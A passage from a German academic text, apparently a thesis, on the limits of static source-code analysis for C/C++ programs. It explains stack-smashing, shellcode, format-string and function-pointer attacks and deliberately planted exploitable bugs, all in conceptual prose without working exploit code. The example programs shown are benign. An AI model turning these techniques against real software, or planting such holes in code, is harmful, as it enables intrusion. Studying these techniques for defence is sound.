3.6. 5. Kriterium: Schutz vor böswilliger Speichermanipulation

Jedes Programm wird nach einer endlichen Anzahl von Transformationsschritten in Maschinencode überführt werden. Ausgehend von der aktuellen Computerarchitektur (von Neumann) liegen Daten und Programmcode im selben Speicher. Ob eine Speicherzelle nun ein A als ersten Buchstaben des Textes „Apfelkuchen“ im gerade mit der Applikation geschriebenen Text enthält, oder ob diese Speicherzelle die Zahl 65 (ASCII Code von A) in einer Tabelle innerhalb einer Tabellenkalkulationsoftware repräsentiert, ist nur aus dem Gesamtkontext zu schließen und kann sich ständig ändern. Insbesondere könnte dieses „A“ auch für

```
inc ecx
```

auf einer 32 Bit Intel Architektur stehen, wenn der Befehlszeiger des Prozessors gerade auf diese Speicherzelle zeigt. Wenn ein Programm es also irgendwie schaffen sollte, den Befehlszeiger dazu zu bewegen, auf seinen String „HAI“ zu springen, würde der Prozessor folgendes ausführen: `dec eax; inc ecx; dec ecx`

und danach mit den folgenden Speicherzellen fortfahren. Höchstwahrscheinlich würde nach kurzer Zeit ein ungültiger Maschinenbefehl erreicht und das Programm vom Betriebssystem terminiert werden. Was würde aber passieren, wenn der Programmierer statt „semantischem Unfug“ in seine Zeichenkette den benötigten Maschinencode schreiben würde, der einen Betriebssystemruf (*syscall/system call*) veranlassen würde, der nicht in den gewünschten Randbedingungen spezifiziert ist? Ein statisches Analyseprogramm hätte große Probleme, dies mitzubekommen, da der Name der Systemfunktion an keiner Stelle vorkommen würde. Die Idee, Maschinencode in einen Prozess einzuschleusen und ihn zu bewegen, diesen auszuführen, ist keineswegs neu. Hacker nutzen diese Art von Angriff schon seit vielen Jahren und haben vielseitige Angriffsmöglichkeiten aufgestellt. Diese Angriffe sind nicht nur theoretischer Natur oder funktionieren nur bei pathologisch konstruierten Sonderfällen, sondern wurden anschaulich und generisch von etablierten Fachleuten auf diesem Gebiet an nicht trivialen Beispielen beschrieben [34]. Die verwandten Techniken sind so ausgefeilt, dass sie mittlerweile mit frei verfügbaren Programmen fast automatisiert werden können. Im Anhang findet sich sowohl ein durch Pufferüberläufe verwundbares Programm (vuln.c), als auch ein aus [34] entnommener und vom Autor stark modifizierter Beispielexploit (exploit.c), welcher diese Schwachstelle ausnutzt.

Befehlszeiger lassen sich unter anderem dadurch „verbiegen“, indem die auf dem Stack abgelegte Rücksprungadresse, welche nach der Rückkehr einer Funktion wieder in das Befehlszeigerregister geladen wird, überschrieben wird. Diese Angriffsmethode wird als *Stack-Smashing*-Attacke bezeichnet. Die Überschreibung wird erreicht, indem beispielsweise eine lokale Variable mit einem zu großen Wert überschrieben wird, so dass ein Teil ihres Inhalts, stattdessen in den Speicherzellen für die Rücksprungadresse gelangt. Der überlappende Teil wird vom Angreifer so manipuliert, dass er an eine Adresse im Speicher zeigt, an der dieser vorher den schadhaften Maschinencode hinterlegt hat. Dies kann mitunter der Anfang der überschriebenen lokalen Variable sein, deren Speicherplatz auf dem Stack sozusagen zweckentfremdet wird. Alternativ könnte der *Shell-Code*[11] in einer Umgebungsvariablen des Prozesses, als Programmname selbst oder als übergebenes Argument an das Programm abgespeichert werden.

11 Derartiger Code wird oft auch als *Shell-Code* bezeichnet, da er bei privilegierten Rechten häufig eine Shell mit *Superuser*-Rechten erzeugt.

Die Annahme, durch die Einschränkung eines nicht ausführbaren Stacks einen Angriff vereiteln zu können, ist leider nicht zu halten. Geschickte Techniken erlauben es, den Stack so zu manipulieren, dass das Programm mit vom Angreifer spezifizierten Argumenten direkt zur gewünschten Systemfunktion springt; selbst Verkettungen sind möglich. Eine Einschränkung auf die Zulassung von druckbaren Zeichen beim Eingaberepertoire der Applikation verfehlt ebenfalls ihr Ziel, da es geschafft wurde, einen Algorithmus zu entwickeln, der druckbaren *Shell-Code* erzeugt. Dieser *Shell-Code* ist zudem auch noch höchstgradig polymorph (kann durch verschiedene druckbare Kombinationen dargestellt werden), so dass eine Mustererkennung ebenfalls fehlschlagen würde.

Die Manipulation der Rücksprungadresse auf dem Stack ist zudem nur eine von vielen Möglichkeiten, ein Programm dazu zu bringen, etwas völlig anderes zu tun, als beabsichtigt war. *Buffer-Overflows* (Pufferüberläufe) im Heap- oder Datensegment könnten den Inhalt von Programmvariablen verfälschen, so dass Parameterbelegungen resultieren, die nicht von der statischen Analyse anhand des normalen Programmablaufes ermittelt werden konnten. Unterstützt die eingesetzte Programmiersprache Funktionszeiger, so könnten diese auf eine völlig andere Adresse gesetzt werden und damit Aufrufe von Systemfunktionen ermöglicht werden, die als ausgeschlossen galten.

Kann der Angreifer die Art und Weise beeinflussen, wie Funktionen mit variablen Argumenten entscheiden, wie viele Argumente sie übergeben bekommen haben bzw. wie viel Speicher diese Argumente belegen, kann er das Programm veranlassen, beliebige Speicherzellen auszulesen, unter Umständen sogar, Speicherzellen zu beschreiben, für die es auf Quellcodeebene nicht die geringste Entsprechung gibt[12].

Ein letzter Irrtum, welcher an dieser Stelle ausgeräumt werden werden muss, ist die Behauptung, dass ein Angreifer beim Angriff auf einen installierten Compiler Zugriff haben müsste oder aber irgendein anderes „Angriffsprogramm“ benötigen würde.

Bis jetzt wurde immer wieder von einem ominösen Angreifer geschrieben. Die traditionelle Perspektive sieht vor, dass der Programmierer einer Applikation alles nur Mögliche unternimmt, um sein Programm vor möglicher Speichermanipulation des (eventuell bösartigen) Nutzers zu schützen. Dafür wurde eine Reihe sehr guter Programmierprinzipien und Tools entwickelt, die dem Entwickler dabei helfen, ausnutzbare Fehler zu vermeiden. Im Gegenzug entwickeln Hacker immer wieder neue kreative Möglichkeiten, diese zu umgehen ([34]); es entsteht ein typisches „Hase-Igel Spiel“.

Im konkreten Fall ist die Perspektive aber noch eine viel schwierigere: Eventuell ist der Programmierer der Applikation selbst der Angreifer. Statt wie bisher mühselig nach Schwachstellen zu suchen, kann er nun gezielt ausnutzbare Programmstücke in sein Programm einbauen, die aber nach außen absolut harmlos aussehen (z. B. eine falsche Größenüberprüfung eines Buffers). Sein Programm erfüllt des Weiteren seinen vorgesehenen Zweck, kann aber bei speziellen Kunden auch einmal mittels einer nur dem Entwickler vertrauten Technik zu anderen Tätigkeiten verleitet werden, was nun die statische Methodik schon vor Ausführung erkennen muss.

Das Problem von Quellcodeuntersuchung ist, dass sie typischerweise nur auf der Ebene des Programmcodes arbeiten kann, nicht aber auf der Ebene des konkreten Abwicklers und des Speicherlayouts. Als zwingende Konsequenz muss die Methodik um jeden Preis garantieren können, dass nur auf aus Programmsicht legitime Speicherzellen zugegriffen werden kann,

12 Typische Orte sind die *Global-Offset-Table*, *.ctor*- und *.dtor*-Segmente, siehe auch [34].

sowie, dass nur aus Programmsicht unproblematische Werte in diese geschrieben werden können[13].

Statische Evaluation benötigt also eine Art semantische Speicherverwaltung, was sich durchaus als schwierig bzw. praktisch unmöglich erweisen könnte, wenn die Programmiersprache Zeigerarithmetik und *Casting* unterstützt, dynamisch neuer Speicher angefordert werden kann und nicht triviale Objektlebenszyklen bestehen sollten[14].

3.7. 6. Kriterium: Garantie für die Umgebung des laufenden Prozesses

Leider nützt es relativ wenig, nur die Garantie zu haben, dass ein Programm selbst keine Systemfunktionen aufruft, die nicht gewünscht sind, solange es in irgendeiner Weise mit seiner Umgebung interagieren kann. Interaktion mit der Umgebung ist wiederum immer dann gegeben, wenn eine Applikation Eingaben verarbeitet und Ausgaben tätigt. Da ein Programm einen Algorithmus implementiert und die allgemein gebräuchlichen Algorithmusdefinitionen zumeist von Ein- und Ausgabegrößen ausgehen, sollte es auch mit seiner Umgebung kommunizieren dürfen. Ansonsten verhält es sich autistisch und könnte ohne Veränderung seiner Semantik für den Rest des Systems durch eine Applikation ersetzt werden, die gar nichts tut. Für dieses Programm würde sich allerdings die statische und dynamische Evaluation wesentlich einfacher gestalten.

Interagiert ein Programm mit seiner Umgebung, kann es diese aber vielleicht dazu veranlassen, etwas zu tun, was nicht als gewünschtes Verhalten spezifiziert worden war. Ist z. B. ein E-Mail-Client Objekt der Analyse und es wurde festgestellt, dass dieses Programm selbst keine Systemfunktionen aufruft, die nicht gestattet waren, hält dies per se das Programm noch nicht davon ab, einen Fehler in sendmail auszunutzen, und sendmail dazu veranlassen, bösartigen Code auszuführen. Die Art und Weise, wie dies geschehen könnte, wurden im vorherigen Abschnitt zur Genüge besprochen, obwohl an dieser Stelle noch weitere Angriffstechniken wie Denial of Service, Spoofing und Ausnutzung von *Race-Conditions* in Betracht kämen ([34]).

Der Aufruf von sendmail ist dem Client wohlgemerkt gestattet, nur ist die Wirkung des Aufrufes an dieser Stelle nicht beabsichtigt. Diese Angriffsmethode wird häufig als Angriff durch Delegation bezeichnet. Genau dasselbe Problem tritt auf, sollte sich ein anderes Programm der Umgebung oder gar das Betriebssystem selbst durch irgendeine Art und Weise zweckentfremden lassen.

Als Konsequenz daraus müssen die beteiligten Akteure allesamt ebenfalls einer Analyse unterzogen werden um das gewünschte Verhalten wirklich garantieren zu können, was wiederum in einer Überprüfung der aufgestellten Kriterien für diese Komponenten resultiert.

Alternativ könnte die Umgebung durch das Betriebssystem so restriktive Rechte gesetzt bekommen, dass eine Delegation keinen Sinn macht, da die entsprechenden Privilegien der an der Interaktion beteiligten Akteure nicht für die gewünschte Aktion ausreichen. Allerdings ist auch das Betriebssystem selbst ein derartiger Akteur, der sich schwerlich selbst überwachen

13 Ein Funktionszeiger ist sehr wohl aus Programmsicht beschreibbar, aber nicht mit beliebigen Werten.

14 Was passiert mit der Referenz auf eine lokale Variable, wenn diese gar nicht mehr existiert?

kann, jedoch eventuell gegen Missbrauch „gehärtet“ werden könnte. Diese Methoden sind wiederum im Bereich der dynamischen Analyse anzusiedeln.

3.8. Fazit

Die Entwicklung einer funktionierenden Methodik zur Sicherstellung von gewünschtem Verhalten auf Basis von Quellcodeanalyse ist keinesfalls unmöglich, solange eine Programmiersprache eingesetzt wird, die die Einhaltung der hier aufgezeigten Kriterien garantieren kann. Der Frage, inwieweit eine standardisierte, industriell eingesetzte Programmiersprache in Verbindung mit realistischen Programmen, über die man selbst keinen Einfluss hat, den Bedingungen genügt, wurde hier nicht nachgegangen. Genau diese Frage ist allerdings Grundlage des nächsten Abschnittes.

3.9. Verwandte Arbeiten

Quellcodeanalyse ist der Forschungsgegenstand zahlreicher Arbeiten. Sehr häufig wird die Technik benutzt, um potenzielle Flaschenhälse in der Programmausführung zu finden ([16]). Andere Autoren konzentrieren sich auf Methodiken zur Entwicklung von Tools, die das Verständnis von fremden Quellcode erleichtern sollen ([29]). Wiederum andere Forscher nutzen die Analyse, um den Zusammenhang des Quellcodes zum Modell oder gar der zu realisierenden Architektur zu überprüfen ([133]). In diese Richtung gehen auch Methoden zur Überprüfung der Einhaltung von Programmierkonventionen (*Coding-Standards*, [45]).

Mit dem hiesigen Fokus enger verwandte Methoden beschäftigen sich mit der Vorhersage von Programmpfaden (*Call-Graphs*). Dabei können abnormale Aufrufreihenfolgen, die durch böswillige Stackmanipulationen entstehen, größtenteils erkannt werden ohne eine Manipulation des Binärcodes oder eine vorherige Trainingszeit zu benötigen. Einige Publikationen berücksichtigen dabei sogar bereits den Einfluss von Funktionszeigern ([5]). Die von Zeigerarithmetik verursachten Probleme im Zusammenhang mit *Casting*-Operationen sind in [135] dargestellt. In [135] sind außerdem viele Literaturverweise auf Quellen enthalten, die sich mit der Sicherstellung des fünften Kriteriums beschäftigen.

Proof Carrying Code ([76]) ist eine sehr formale Herangehensweise, bei der zu jedem Programm ein Beweis vorliegen muss, dass es die geforderten Sicherheitsrichtlinien (*Safety-Policy*) erfüllt. Nach einmaliger Verifikation des Beweises kann das Programm dann ohne weitere Überwachung benutzt werden. Die Spezifikation basiert auf Prädikatenlogik (Vor- und Nachbedingungen), die Verifikation wird mit Hilfe eines abstrakten Zustandsautomaten vorgenommen, der überprüft, ob ein Algorithmus sich in jedem Fall nur im legalen Zustandsraum bewegt.

Die Erstellung einer ausreichenden *Safety-Policy* und des dazugehörigen Beweises ist sehr schwierig zu bewerkstelligen und benötigt weitreichende mathematische Kenntnisse auf dem Gebiet der Logik. Die vorgestellte Methode arbeitet auf der Ebene eines stark eingeschränkten Maschinencodevokabulars (acht Befehle) der Alpha-Architektur. Interaktion mit der Umgebung wie beispielsweise Systemrufe sind nicht im Modell erfasst. Folglich eignet sich der Ansatz nur, um für sehr kleine, sicherheitskritische Algorithmen, die ohne weitere

Ressourcen als ein paar Speicherzellen auskommen, die Korrektheit zu beweisen. Für die meisten real existierenden Programme trifft diese Definition leider nicht zu.

In [79], [67], [107] und [69] werden Pro- und Kontraargumente bezüglich der Freigabe des Quellcodes und der zu erwartenden Konsequenzen diskutiert.

4. Bewertung von statischen Methoden für C/C++ typische Programme

4.1. Hintergrund

Im vorherigen Abschnitt wurden bereits notwendige Bedingungen identifiziert, die erfüllt sein müssen, damit eine statische Quellcodeanalysemethode vor der eigentlichen Ausführung der Applikation feststellen kann, ob ein zu analysierender Algorithmus sich garantiert an spezifizierte Randbedingungen hält und damit ein gewünschtes Verhalten aufweist. Die genaue Art der Randbedingungen sei dabei sehr allgemein gehalten und soll dadurch definiert werden, dass nur bestimmte Systemfunktionen mit bestimmten Parameterbelegungen aufgerufen werden können.

Dieser Abschnitt untersucht, inwieweit die konkrete Erfüllbarkeit der sechs im letzten Abschnitt vorgestellten Kriterien auf Quellcode, der in den Sprachen C/C++ abgefasst wurde, gewährleistet werden kann und zeigt mögliche Probleme auf. Weiterhin werden unterstützende Ansätze und Konzepte aus dem Bereich der dynamischen Analyse vorgestellt und diskutiert, mit denen für ein C/C++ Programm die Einhaltung von Randbedingungen erzwungen werden könnte. Abschließend wird bereits ein kurzer Ausblick in die Welt der hybriden und dynamischen Ansätze gewagt, welche speziell im Kontext C/C++ existieren.

4.2. Prämissen

Um überhaupt eine Quellcodeanalyse durchführen zu können, sollen zunächst die Kriterien eins und drei vollständig erfüllt sein. Dies heißt also, dass sowohl der komplette, unverfälschte Quellcode der zu analysierenden Applikation, als auch die Quellen aller benötigten Bibliotheken und des Betriebssystems gegeben sind. Weiterhin ist davon auszugehen, dass der zu benutzende Compiler wirklich nur eine semantisch äquivalente Transformation der Quellen auf Maschinencode und keine eigenmächtigen Änderungen vornimmt. Die Lizenzen für eventuelle Änderungen am Quellcode sollen ebenfalls erworben sein, falls zusätzlich zur rein statischen Analyse eine logisch äquivalente Programmcodesubstitution zur Garantie bestimmter Kriterien vorgenommen werden müsste.

Als nächstes geht es darum zu definieren, was einer „echten“ Applikation entspricht. Die Antwort auf diese Frage kann nicht formal begründet werden und richtet sich nach den Gegebenheiten der jeweiligen Problemdomäne.

In sehr sicherheitskritischen Bereichen könnte man C++ bzw. C so einschränken, dass keine Zeiger und Referenzen erlaubt wären, was vor bösartiger Speichermanipulation schützen würde. Ebenso ließe sich das Einbinden von *Header-Files* und Bibliotheken unterbinden. Die Ein- und Ausgabe könnte dann über eine speziell auf Sicherheit ausgelegte Bibliothek erfolgen. Mit diesen Einschränkungen kann durch eine statische Kontrollflussanalyse herausgefunden werden, ob das geschriebene Programm potenziell eine direkte oder indirekte Rekursion enthält, die ebenfalls verboten werden könnte. Kann man nun auch noch die

Umgebung des Programmes geeignet kontrollieren, könnte für derartige Programme tatsächlich eine Garantie abgegeben werden, dass sie in gewisser Hinsicht sicher sind. Dies bedeutet jedoch noch lange nicht, dass für diese Art von Programmen bereits automatisch bewiesen werden kann, dass sie genau tun, was sie sollen, sondern lediglich, dass sie nur explizit genehmigte Ressourcen beanspruchen und nur auf die Art und Weise mit ihrer Umwelt kommunizieren, wie es die Spezialkonstrukte zur Ein- und Ausgabe gestatten. Es ist unmöglich, einen Algorithmus zu spezifizieren, welcher die Korrektheit beliebiger Programme überprüfen kann (Satz von Rice [109]). Selbst wenn man die möglichen Programmkonstrukte auf primitive arithmetische Operationen, Variablenzugriffe und einfache Steuerkonstrukte beschränkt, ändert sich nichts am Kern der Aussage. Ein sehr prominentes Beispiel dafür ist das Syrakus-Problem, welches in keinster Weise komplex erscheint, für das jedoch immer noch nicht bekannt ist, ob der Algorithmus für beliebige Eingaben immer terminiert:

```
void syr (number x) { // x sei beliebig große, natürliche Zahl
     while (x!=1) { // solange x ungleich eins ist
          if (even(x)) // Prüfung, ob x gerade ist
               x/=2; // x:=x/2
          else {
               x*=3; // x:=x*3
               ++x; // x:=x+1
          }
     }
}
```

Diese Arbeit hat jedoch nicht den Anspruch, in die Materie von manuellen oder semiautomatischen Beweistechniken tiefer einzuführen, sondern sich mit der Frage auseinanderzusetzen, ob und wie bereits bestehende COTS-Software sicher ausgeführt werden kann. An dieser Stelle wird daher die Charakteristik eines COTS-Programmes wie folgt definiert:

Eine „Real-World“ C/C++ Applikation nutzt typischerweise mehr oder weniger intensiv die C und C++ Standardbibliothek und ist demzufolge auch mit diesen zusammenzulinken. Da C++ eine objektorientierte Sprache ist, wird weiterhin von Polymorphie und damit implizit von Funktionszeigern Gebrauch gemacht. Um *Header-Files* einzubinden sowie die mehrfache Einbindung von *Headern* zu verhindern, werden die Preprozessordirektiven

```
#include, #define, #ifndef, #else, #endif
```

benötigt. Da die C++ Standardbibliothek extensiv Gebrauch von Templates macht[15], können Templates nicht aus dem unterstützten Sprachvokabular verbannt werden. Dasselbe Argument trifft auf die Verwendung von überladenen Operatoren und überladenen Funktionen sowie Exceptions[16] zu.

Zeigerarithmetik ist eine der größten Stärken von C/C++, sogleich aber auch die Quelle der meisten Programmierfehler und vielleicht der problematischste Punkt bei der statischen Analyse. Dennoch kann auf Zeigerarithmetik in C und C++ nicht verzichtet werden. Allein die Übergabe von Parametern, die nach Rückkehr einen anderen Wert haben können (*Call-by-Reference*), sowie die Behandlung von Arrays und Zeichenkettenliteralen ist in C auf keine andere Weise möglich; in C++ nur bedingt durch die Nutzung von Referenzen, die allerdings nach einmaliger Zuweisung nicht mehr geändert werden können und zudem die statische Analyse ebenfalls sehr erschweren. Es ist an dieser Stelle noch einmal darauf hinzuweisen, dass auch Polymorphie in C++ nur über Referenzen und Zeiger ermöglicht wird.

Ein schwieriger zu entscheidender Punkt ist die Legitimität der Verwendung von *Casting*-Operatoren zur Konvertierung unterschiedlicher Zeigertypen. Benutzt man nur die Sprache C/C++ ohne zusätzliche Bibliotheken, könnte man darauf verzichten. Da allerdings die APIs für die C Standardbibliothek (z. B. `malloc, realloc, free`), die C++ Standardbibliothek (z. B. Benutzung von Placement-News in der `vector` Implementierung) als auch die meisten C/C++ Programme, welche effizient auf großen Rohdatenmengen operieren wollen, intensiv von dieser Technik Gebrauch machen, ist es nicht ohne große Einschränkung möglich, diese zu verbieten.

Als Mittel zur Kommunikation mit der Umgebung sollen die üblichen `scanf/printf`, sowie `cout/cin` Konstrukte benutzt werden dürfen. Zusätzlich soll eine Evaluation der Umgebungsvariablen und der übergebenen Argumente möglich sein.

Natürlich existieren auch ein paar Einschränkungen im Gebrauch der Sprachen. So soll Inline-Assembler nicht gestattet, sowie der im Programmtext zu findende Aufruf von nicht erlaubten Systemfunktionen verboten sein. Obwohl Goto-Statements sowie `setjmp/longjmp` in einigen Domänen (z. B. Linux Kernel) übliche Konzepte sind, soll davon ebenfalls Abstand genommen werden.

Nebenläufigkeit, Dateizugriff, Interprozesskommunikation, Netzwerkoperationen und Rekursion sowie der Einsatz von RTTI-Techniken oder zusätzlichen Bibliotheken sind zwar sehr wünschenswert, jedoch allenfalls als optionale Anforderungen zu sehen, denen nicht unbedingt stattgegeben werden muss. Einige Argumente in den folgenden Abschnitten beziehen sich aber just auf diese Möglichkeiten und sind daher bei Nichterfüllung im konkreten Kontext einfach zu ignorieren.

Anschließend an diese Prämissen sollen nun die großen Problemfelder, welche die Einhaltung der restlichen Kriterien bestimmen, aufgezeigt werden.

15 cout << "Hello world" << endl;

benutzt bereits implizit mehrere Template-Definitionen.

16 Die STL wirft so manche Ausnahme, auch wenn dies auf dem ersten Blick nicht so aussehen sollte.

4.3. 1. Problemfeld: Programmgröße und Interferenz

C und C++ sind Sprachen, bei denen die Deklaration von Signaturen, Klassen und Objekten in *Header-Files* geschieht. Die benötigten *Header-Files* sind dabei mittels Includedirektiven in das Hauptprogramm einzubinden. *System-Header* binden wiederum weitere *System-Header* ein; der eigentlich zu analysierende Quellcode wird folglich sehr schnell anwachsen. Für die C++ Standardbibliothek kommt noch erschwerend hinzu, dass Bibliotheksteile, die mit Templates implementiert wurden, komplett in den *Headern* enthalten sind. Dies bedeutet übrigens keineswegs, dass sämtlicher enthaltener Code auch übersetzt werden muss. Da sich aber das eigentlich zu analysierende Programm auf jede dieser hinzukommenden Konstrukte beziehen könnte, muss konsequenterweise der durch *Header*-Inklusion bedingte Programmteil mit analysiert werden.

Um einen Eindruck über die dabei entstehende Komplexität zu geben, seien folgende Beispielprogramme gegeben:

// Programm 1:

```
#include <stdio>
using namespace std;
int main (int argc, char** argv) {
     cout << "Hello world" << endl;
}
```

Dieses Programm wir nach gesamter *Header-Expansion* 29901 Zeilen lang. Nach Herausfilterung von Kommentarzeilen, Zeilen, auf denen sich nur eine öffnende bzw. schließende Klammer befand und Pragmas des Compilers, blieben immer noch 17400 Zeilen übrig.

Programm 2 ist auch nicht viel komplizierter, sondern speichert lediglich die Postleitzahlen zu ein paar Orten ab und gibt diese alphabetisch sortiert wieder aus.

//Programm 2

```
#include <iostream>
#include <algorithm>
#include <map>
#include <vector>
#include <string>
using namespace std;
```

```
int main(int argc,char ** argv) {
        vector <string> orte;
        map <string,int> ortpostleitzahl;
        int anzahl;
        string ort;
        int postleitzahl;
        cout << "Anzahl der Datensätze: ";
        cin >> anzahl;
        orte.reserve(anzahl);
        for (int i=0;i<anzahl;++i) {
                cout << "Ort : ";
                cin >> ort;
                cout << "Postleitzahl: ";
                cin >> postleitzahl;
                ortpostleitzahl[ort]=postleitzahl;
                orte.push_back(ort);
        }
        sort(orte.begin(),orte.end());
        cout << "Geordnete Ausgabe: " << endl;
        for (int i=0;i<anzahl;++i)
                        cout << "Ort: " << orte [i] << "
Postleitzahl: " <<  ortpostleitzahl[orte[i]] << endl;
}
```

Der resultierende Quellcode dieses Beispiels beträgt 33679 Zeilen, nach Bereinigung blieben noch 18764 übrig.

Die dabei von der Standardbibliothek genutzten Sprachkonstrukte sind an vielen Stellen alles andere als trivial und reizen intensiv sämtliche Konzepte aus, die in den Prämissen als legitim definiert wurden. Darüber hinaus sind sogar einige Zeilen Maschinencode in den für die Beispielprogramme herangezogenen *Headern* enthalten, die benutzt werden, um atomare Operationen realisieren zu können.

Zusammenfassend sorgen also schon primitivste Beispielprogramme für eine massive Vergrößerung des zu analysierenden Codes und der zu beachtenden Abhängigkeiten. Die losgelöste Betrachtung der Nutzerquellen ist nicht möglich, da eine starke Interferenz durch

Header-Inklusion besteht. Diese Komplexität wird insbesondere in Verbindung mit der oft schwierigen und subtilen Semantik von C/C++, auf welche im nächsten Abschnitt eingegangen wird, ein ernst zunehmendes Problem, was bis jetzt nur sehr wenige Compilerhersteller meistern konnten, deren Tools aber nicht für die Einhaltung bestimmter Verhaltensweisen garantieren müssen.

4.4. 2. Problemfeld: Semantik

Insbesondere C++ ist eine Sprache, deren Semantik oft nur für absolute Experten bis ins letzte Detail verständlich ist. Dies soll auf keinen Fall heißen, dass die Semantik von C++ nicht eindeutig definiert worden wäre; seit 1999 existiert ein bindender ANSI Standard ([4]) darüber. Nur sind die Regeln und deren Querbeziehungen so vielfältig, dass selbst etablierte Compiler mitunter noch Implementierungsfehler aufweisen - typischerweise im Kontext von Sichtbarkeitsregeln in Verbindung mit verschiedenen Namensräumen, Exception Sicherheit der Standardbibliothek, Reihenfolge der Anwendung von Copy-Konstruktoren und Konvertierungsoperatoren sowie Template-Instanziierungsregeln.

Man muss allerdings gar nicht so sehr ins Detail gehen, um die Schwierigkeiten in der Deutung der Semantik zu verdeutlichen. Allein die Tatsache, dass jede Klasse selbst die Semantik ihrer Operatoren festlegen kann[17], erzwingt die komplette Kenntnis der eingesetzten Methodik über die korrekte Auflösung auf primitive Konstrukte. Die Behandlung von Tri- und Digraphen ([119]), welche Maschinen mit eingeschränktem Zeichensatz benutzen, stellt dabei noch das kleinste Problem da. Bei der Auflösung müssen selbstverständlich überladene Typkonvertierungsoperationen und Copy-Konstruktoren (eventuell mit Default-Argumenten) sowie deren Zusammenspiel beachtet werden.

Die Autonomie einer Klasse in C++ geht so weit, dass sie selbst entscheiden kann, wie und wo Speicher für zu erzeugende Objekte allokiert werden soll.

Template-Klassen, partielle und konkrete Template-Spezialisierung sowie der intensive Einsatz von Template-Algorithmen sind in der Standardbibliothek selbstverständlich. Dabei ist es den Template-Algorithmen völlig gleich, welchen Typ ihre empfangenen Parameter haben, ob es ein Funktionszeiger, Funktionsobjekt, primitiver Typ oder gar ein Literal ist.

Die zu Grunde liegende Plattform ist bei der Semantikauswertung ebenfalls von Bedeutung, da sich der Wertebereich von einigen Basisdatentypen sowie die Padding und Alignment bei Strukturen von Umgebung zu Umgebung ändern kann. Bei einem System kann es so zu einem Überlauf oder Unterlauf einer Variablen kommen bzw. eine Dereferenzierung in einem Spiecherzugriffsfehler resultieren, welches den Programmfluss verändern kann, während sich ein anderes System „völlig normal“ verhält. Zu guter Letzt müssen vor jeglichem Auswertungsversuch typedefs und Makrodefinitionen aufgelöst werden.

Das zu entwickelnde statische Quellcodeanalysetool kommt zusammenfassend nicht umhin, die Leistungsfähigkeit eines Preprozessors sowie das Verständnis eines ausgewachsenen C++ Compilers zu integrieren um überhaupt nachvollziehen zu können, was das zu analysierende Programm überhaupt zu tun gedenkt.

17 Zum Beispiel die Bedeutung von `+`, `-`, `*`, `%`, `<<`, `>>`, aber auch die von `()`, `&` und `->`.

Dieses Problemfeld ist jedoch trotzdem kein KO-Kriterium für eine statische Evaluation, da die zu leistende Verständnisarbeit in gängigen Compilerwerkzeugen implementiert wurde und dort selbstverständlich auch vor der Ausführung der Applikation in Aktion tritt. In diese Werkzeuge wurde jedoch eine nicht unbeträchtliche Entwicklungszeit gesteckt, von der anzunehmen ist, dass sie auch in die Entwicklung eines Analysetools eingeplant werden sollte.

Erst mit der Erfüllung aller Forderungen in diesem Problemfeld wird das zweite notwendige Kriterium (Unterstützung der Programmiersprache) komplett erfüllt.

4.5. 3. Problemfeld: Programmfluss

Mit dem Problemfeld der Programmgröße und Interferenz bestimmt das Problemfeld des Programmflusses maßgeblich die Erfüllbarkeit des vierten Kriteriums. Um herauszufinden, welche Systemfunktionen wie häufig und mit welchen Parameterbelegungen aufgerufen werden, ist zu untersuchen, welche Programmpfade im zu analysierenden Programm durchlaufen werden.

Entzieht sich die statische Parameterbelegungsanalyse durch die programmgrößenbedingte Explosion des Zustandsraumes schon sehr frühzeitig jeglichen praktisch durchführbaren Berechnungen auf Grund eines viel zu kleinen Arbeitsspeichers und den Limitierungen endlicher Rechenzeit[18], so könnte man doch zumindest bei der exakten Auswertung möglicher Programmpfade optimistischer sein.

C++ ist jedoch eine objektorientierte Sprache; Polymorphie bedingt wiederum den impliziten Einsatz von Funktionszeigern[19]. C selbst unterstützt auch den Einsatz von Funktionszeigern, welche in Strukturen eingebettet beinahe das Grundgerüst für eine einfache Art der Objektorientierung bilden. Arbeitet das zu analysierende Programm mit ausreichend vielen Objekten und erzeugt diese obendrein in Methoden anderer Objekte, gerät auch die Voraussage der möglichen Programmpfade schnell in den Bereich des statisch nicht mehr Lösbaren, da erst zur Laufzeit die Akteure (Objekte) geschaffen werden, in denen Verhalten (durch Aufruf von Methoden) ablaufen kann. Allenfalls grobe Approximationen bis zu der Annahme, jegliches im Programm auftretende Statement könnte während des Programmlaufes erreicht werden, sind bei der Nutzung von Funktionszeigern möglich. Um eine genaue Analyse der tatsächlichen Programmpfade zu erreichen, muss exemplarisch vorgegangen werden und ein Debugger genutzt werden, dessen Einsatz in die Domäne der dynamischen Evaluation fällt.

Neben Polymorphie beeinflussen weiterhin das asynchrone Eintreffen von Signalen sowie das Auftreten von Ausnahmen den Programmfluss. Exceptions werden in der Standardbibliothek an vielen Stellen genutzt, beispielsweise um Bereichsüberschreitungen zu signalisieren, geworfene Exceptions, die in diesem Kontext nicht gestattet waren anzuzeigen, fehlende Speicherressourcen (Operator `new` und zu groß allokierte Bit-Arrays) und Fehler in Stream-Klassen zu melden, sowie fehlerhafte dynamische *Type-Casts* und Fehler beim Auflösen von RTTI-Anfragen mitzuteilen. Darüber hinaus steht es dem Programmierer frei, eigene

18 Der Versuch, sämtliche Zustände eines 300 Byte großen Zählers zu durchlaufen, würde selbst bei optimaler Ausnutzung mehr Energie verbrauchen, als eine Supernova aufbieten kann, siehe auch [108].

19 Wobei nicht jede Methode einer Klasse unter C++ automatisch virtuell ist, wie es zum Beispiel in Java der Fall ist)

Ausnahmen einzuführen. Neben *Try*- und *Catch-Handlern* sorgen wie bei vielen anderen Aspekten der Programmiersprache per Funktionszeiger registrierte Behandlungsroutinen für die Verarbeitung von auftretenden Exceptions. Beim Auftreten der Ausnahme werden schrittweise der Stack „aufgerollt“ und die Destruktoren der dabei zerstörten automatischen Variablen aufgerufen. Die Destruktoren können wiederum ebenfalls komplexe Schritte durchführen und weitere Objekte zerstören. Die genaue Beschreibung des Zusammenspiels dieser vielfältigen Ausnahmebehandlungsmechanismen würde zu weit führen, der gegebene Einblick sollte bereits reichen um zu realisieren, wie stark Ausnahmen den Programmfluss beeinflussen können. Ähnliches trifft auf *Signal*- und *Exit-Handler* zu.

Eventuell auftretende Nebenläufigkeit und Interprozesskommunikation erhöhen zusätzlich die Komplexität, was an dieser Stelle aber für die statische Analyse fast ohne Belang ist, da sie höchstwahrscheinlich schon an der Komplexität eines nicht nebenläufigen Programmes scheitern musste.

